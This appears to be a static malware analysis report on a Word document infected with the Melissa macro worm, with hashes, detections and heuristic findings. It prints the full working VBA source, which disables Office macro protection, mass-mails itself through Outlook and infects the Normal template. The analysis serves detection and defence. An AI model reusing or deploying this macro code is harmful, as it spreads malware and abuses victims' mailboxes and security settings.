Melissa — Office (OLE) malware analysis

Static analysis result for SHA-256 fbe456eefde59c08…

MALICIOUS

Office (OLE)

180.0 KB Created: 2014-04-17 07:36:00 Authoring application: Microsoft Office Word First seen: 2015-09-27
MD5: 806f2555f48cb3cef7424a276c179860 SHA-1: 88962a3f865f48b6ef32ab8466b6b903d9c21bd1 SHA-256: fbe456eefde59c0816b156ab70b58fba4188cdd3faa5bcce5ce6477dac05f97e
310 Risk Score

Malware Insights

Melissa · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample contains VBA macros, specifically a Document_Open macro, which is indicative of the Melissa family. The macro attempts to replicate itself by harvesting email addresses from Outlook and sending copies of the document, a hallmark of Melissa. It also attempts to tamper with Word's security settings to facilitate its spread.

Heuristics 7

  • ClamAV: Doc.Trojan.Melissa-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Melissa-7
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ADI1.codemodule.deletelines 1, ADCL
  • VBA email-worm self-replication (Outlook mass-mailer) critical OLE_VBA_EMAIL_WORM_SELF_REPLICATION
    VBA macro drives Outlook to mass-mail itself: it automates Outlook.Application, programmatically creates a mail item, and spreads by harvests recipients from the MAPI address book / inbox, attaches a file to the outgoing message, sends the message programmatically. Harvesting recipients from the address book / inbox and auto-attaching the carrier to outgoing messages is the defining behavior of the Melissa / LoveLetter / W97M mass-mailer worm lineage — there is no benign document use, independent of any AV signature.
    Matched line in script
            Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set UngaDasOutlook = CreateObject("Outlook.Application")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/iX/1.0/In document text (OLE body)
    • http://ns.adobe.com/pdf/1.3/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/g/img/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3875 bytes
SHA-256: 59fae7990b9cfd39d7c22231d8e37ac819f8a6f5d2944a772af0f8bc9f553a9c
Detection
ClamAV: Doc.Trojan.Melissa-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Melissa"
Attribute VB_Base = "1Normal.Melissa"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.codemodule.CountOfLines
ADCL = ADI1.codemodule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.codemodule.deletelines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.codemodule.deletelines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.codemodule.Lines(1, 1) = ""
ADI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, ADI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.codemodule.Lines(1, 1) = ""
NTI1.codemodule.deletelines 1
Loop
ToInfect.codemodule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.codemodule.Lines(BGN, 1) <> ""
ToInfect.codemodule.InsertLines BGN, NTI1.codemodule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub